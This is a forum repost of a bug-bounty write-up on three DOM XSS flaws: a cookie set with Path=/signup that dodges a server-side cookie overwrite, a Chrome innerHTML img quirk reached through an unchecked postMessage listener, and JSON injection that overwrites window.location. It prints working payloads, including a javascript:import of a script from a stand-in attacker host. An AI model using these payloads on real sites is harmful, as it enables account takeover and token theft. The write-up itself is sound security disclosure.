Nytro Posted 1 hour ago Report Posted 1 hour ago DOM XSS: Bypassing Server-side Cookie Overwrite, Chrome innerHTML Quirk, and JSON Injection Hi everyone in this post I walk through three DOM-XSS findings I discovered while hunting on a bug-bounty program: a cookie-scoped bypass of server cookie overwrites, a Chrome innerHTML quirk, and a JSON injection that can overwrite window. Cookie-based DOM XSS: bypassing server-side cookie overwrite I was checking a React application in a bug-bounty program for DOM XSS vulnerabilities, and I looked not only code that parses query strings from the URL but also any code that parse document.cookie to extract values. On the login page I found a function (call it i()) that runs a regex against document.cookie to extract the lang cookie and returns that value; if the regex doesn’t match it falls back to returning “en”. The value returned by that function is then inserted unsanitized into a script element’s innerHTML as value for the language property inside a page object. function i() { const t = document.cookie.match(new RegExp("(^| )lang=([^;]+)")); const i = t ? t[2] : "en"; return { lang: i, }; } , l = document.createElement("script"); l.innerHTML = `\n var page = {\n config: {\n lang: "${p || i.lang}",.... }\n }`, document.head.appendChild(l); That means an low-impact XSS on a subdomain could be used to set a malicious lang cookie and, if that cookie is shared across subdomains, it would result in DOM XSS on the login page. There was a catch: the login page itself issues a Set-Cookie for lang on every visit, which would overwrite any malicious lang value you had set. I think they were aware of the XSS risk here that’s likely why the server updates the lang cookie on each request. document.cookie=`lang=vv",x:import(..),x:"; domain=.target.com; path=/login` While looking for ways to bypass that protection, I discovered the same code runs on the signup page but unlike the login endpoint, the signup endpoint does not return a Set-Cookie for lang. That means an attacker can set a malicious lang cookie, set it to the entire domain (shared across subdomains) and set its Path=/signup; then redirecting a user to /signup will trigger the DOM XSS there. I used this XSS to steal users’ OAuth tokens and achieved an account takeover. document.cookie=`lang=vv",x:import(..),x:"; domain=.target.com; path=/signup` location="https://www.target.com/signup" DOM XSS due to Chrome InnerHTML Quirk There was an application that registered a postMessage listener but didn’t validate the sender origin. The listener looked for a specific property in incoming messages (call it x-params) and expected it to be JSON. Sometimes x-params arrived as a string, in those cases the code checked whether the string contained HTML-encoded quotes (e.g. "). If it did not, the string was passed straight to JSON.parse. If it did contain HTML-encoded quotes, the code created a <p> element, set that string as the element’s innerHTML (but did not append the <p> to the document), then read the element’s innerText and passed that to JSON.parse. This was used as a way to decode HTML-encoded JSON; because the <p> was never inserted into the page which will not produce an XSS. However, this wasn’t a safe approach. Chrome has a quirk (previosuly mentioned by @terjanq in this tweet and discussed by @sudhanshur705 in this write-up) where assigning an <img> tag string to an element’s innerHTML can cause the browser to execute that tag even if the element is never appended to the DOM. That means an attacker can achieve XSS on the page with that vulnerable message listener by sending this following postMessage to it : vulnpage.postMessage( JSON.stringify({ body: { "x-params": ""<img src="x">" } }), "*" ); DOM XSS using JSON Injection In this case the app was fetching an the front-end configuration from an endpoint that was responding with a JSON and it was appending the page’s querystring to that fetch call. The server reflected the querystring back into a JSON field decoded (not escaped/encoded), so by sending a query containing ” / } / ] you can break out of that field, change the JSON structure, and inject arbitrary keys and values. After the config is fetched and parsed, the app passes the JSON to a function that extracts the window field and merges its contents into the global window object. Because we can inject a window key with a location property set to a javascript: payload, for example: " ] }, "window": { "location": "javascript:import('https://attacker/eval.js')" }... When the app merges that JSON into the global window object an XSS occurs, since assigning a value to window.location triggers navigation to that value, and navigating to a javascript: URI causes the browser to execute the attacker’s code in the page. Exploit example (raw, not URL-encoded): /login?v= " ] }, "window": { "location": "javascript:malicious()", "REDACTED_2": { "REDACTED_3": { "REDACTED_4": "REDACTED_5" }, "REDACTED_6": "REDACTED_7", "REDACTED_8": "REDACTED_9", "REDACTED_10": { "REDACTED_11": { "groups": [ "redx", "red" ] } }, "REDACTED_14": "REDACTED_15", "REDACTED_16": { "groups": [ "REDACTED_17" ] } }, "REDACTED_18": { "REDACTED_19": { "REDACTED_20": "REDACTED_21", "REDACTED_22": "REDACTED_23", "REDACTED_24": "REDACTED_25" } }, "REDACTED_26": { "REDACTED_27": { "REDACTED_28": true, "REDACTED_29": true } } } } , "f": { "fffff": { "v": [ "x" Thanks for reading and i hope you liked this post, you can catch me on X: @elmehdimee. Sursa: https://elmahdi4.wordpress.com/2025/09/26/dom-xss-bypassing-server-side-cookie-overwrite-chrome-innerhtml-quirk-and-json-injection/ Quote